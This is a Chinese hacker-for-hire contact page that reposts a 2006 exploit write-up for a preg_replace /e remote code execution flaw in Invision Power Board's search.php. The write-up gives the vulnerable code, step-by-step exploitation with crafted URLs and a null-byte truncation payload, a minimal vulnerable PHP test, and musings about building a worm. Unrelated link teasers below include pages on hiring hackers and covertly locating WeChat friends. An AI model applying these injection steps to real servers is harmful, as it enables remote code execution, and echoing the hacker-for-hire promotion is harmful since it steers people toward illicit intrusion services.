24小时接单的黑客 *** 群,黑客 *** 联系方式免费

访客4年前关于黑客接单1828

ipb search.php 漏洞分析及思考 Author:SuperHei_[At]_ph4nt0m.orgBlog:http://superhei.blogbus.com/Team:http://www.ph4nt0m.orgData: 2006-04-27 ###############简单分析################该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php  行1258-1262:     if ( $this->ipsclass->input['lastdate'] )        {            $this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1 selected='selected'", $this->output );                    }    } 通过变量input['lastdate']注入/e, $this->output注入shellcode。 ###############利用 *** ################ 注册一个用户,发个贴 内容[shellcode]如下:[ superheixxxxxxxeval(phpinf0()); // 注意最后的;和//之间有一空格 然后点“Search”--->Search by Keywords:superheixxxxxxxeval [记得选择Show results as posts ] 可以得到searchidhttp://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&resul t_type=posts&highlite=superheixxxxxxxeval 然后在后面加一个&lastdate=z|eval.*?%20//)%23e%00 也就是[/e]提交就ok了: http://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&resul t_type=posts&highlite=superheixxxxxxxeval&lastdate=z|eval.*?%20//)%23e%00 ###############分析讨论################1.  简单分析: 该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php  行1258-1262:       if ( $this->ipsclass->input['lastdate'] )         {             $this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1   selected='selected'", $this->output );                     }     }   通过变量input['lastdate']注入/e, $this->output注入shellcode。     这个分析,掉了一个重要的细节:preg_replace+/e 里有3个参数,只有第2个参数里的代码才可以执行,但是上面的语句貌似是第3个参数提交   的,其实不然,注意上面preg_replace里的第2个参数:\\1 selected='selected' 里面的\\1 为之一参数里正则表达试匹配后的值。归根结底   我们提交的shellcode还是在第2个参数执行了。   2.  注意最后的;和//之间有一空格 这个又是为什么呢?因为我们提交的lastdate=z|eval.*?%20//)%23e%00里是已空格+//为标志的,所以我们提交的shellcode也要有空格+// 3.preg_replace存在null截断漏洞???? 我想这个应该算是php本身一个的漏洞[同以前include的null截断漏洞],我们测试下,把上面的漏洞写个简单的模型:<?$a=$_GET[a];echo preg_replace("#(value=[\"']z|eval.*?//)#e{$a}[\"'])#i ","\\1 ","heigegegxxxxxxxeval(phpinfo());//");?> 我们直接提交http://127.0.0.1/test2.php?a=2出现错误:Warning: Unknown modifier '2' in d:\easyphp\www\test2.php on line 3 提交http://127.0.0.1/test2.php?a=%002 则执行phpinfo(). 我们成功截断了。模型代码执行环境要求gpc=off ,但是在很多的web程序里是 经过变量编码和解码在执行的,所以不受gpc的影响,上面的ipb的就可以在gpc=on的情况下截断。 4."lastdate=z|eval.*?%20//)%23e%00"的构造主要是在this->output里以eval和%20//为标志取\\1 为执行的php代码。 5.worm的利用?还记得Santy吗?就是利用的phpbb里的一个preg_replace,这里会会被利用呢?ipb这个漏洞的利用必须要登陆,但是在ipb注册时候有“图片 认证”,不过据说这个可以编写程序读出来?? 只要突破这个worm是有可能的,毕竟ipb的用户有那么多...... ###############总结模型################1.直接在preg_replace第2个变量执行的模式:<?echo preg_replace("/test/e",$h,"jutst test");?>提交http://127.0.0.1/test/11/preg.php?h=phpinfo()实例如:phpbb的viewtopic.php变量$highliht_match提交php代码执行漏洞 2.通过\\1[或者\\n]提取第3个变量里的php代码并执行的模式:<?echo preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $h);?>提交:http://127.0.0.1/test/11/preg.php?h=[php]phpinfo()[/php] 参考:r57的exp:http://www.milw0rm.com/exploits/1720更多资料:http://www.google.com 

相关文章

墙绘用什么颜料和工具(丙烯颜料和乙烯颜料)

对于那些热爱绘画的人来说,这个过程是一个非常愉快的过程,但在这个过程中,颜料粘在衣服上,这是一个令人头痛的问题! 那么如何去除衣服上的腈纶污渍呢?崔雯颜料教你一些小把戏! 首先,我们需要了解丙烯颜...

微信如何定位好友位置,并且不让好友知道_微信定

新华网天津2月4日电 (记者 张建新) 国家计算机病毒应急处理中心通过对互联网的监测发现,U盘已成为病毒和恶意木马程序传播的主要途径之一。   近期在互联网络上传播比较严重的病毒,比如:“熊猫烧香”...

物联网网络信息安全问题浅析

从1995年比尔•盖茨首次提及物联网概念到今天,物联网已成为新一代信息通信技术发展的典型代表,在经历了“虚张声势”的概念炒作阶段后,目前已进入到全面实践应用的新阶段,正深刻改变着传统产业形态和人类生产...

手机怎么学黑客技术

黑客不是相当就当的,因为系统都是由代码和英语组成,文化程度必须高,尤其是理科成绩,而且,而且数学逻辑思维必须好,编程需要。如果你只是初中。还是建议你再。 黑客技术学习方法一。具体hack学习方法1利用...

如何找黑客「网上如何联系真的黑客」

如何找黑客「网上如何联系真的黑客」

  如何找正规的黑客方法   2019年的8月份,美国洛杉矶曾举办过车展展览,在那次的科技张和广大媒体的交流会上,中国团队带着的2名黑客工程师,在智能软件组织的的比赛中以实力领先,他们2位获得...

拜登上台后会解除芯片封锁吗-拜登上台还会限制

特朗普在位期间,华为一直受到美国政府的压力,不允许所有使用美国技术的芯片制造商向华为提供芯片。其实美国对华为实施禁令的真正原因就是想放慢我国的发展速度。现在美国大选结果已经明朗,不出意外就是拜登上任总...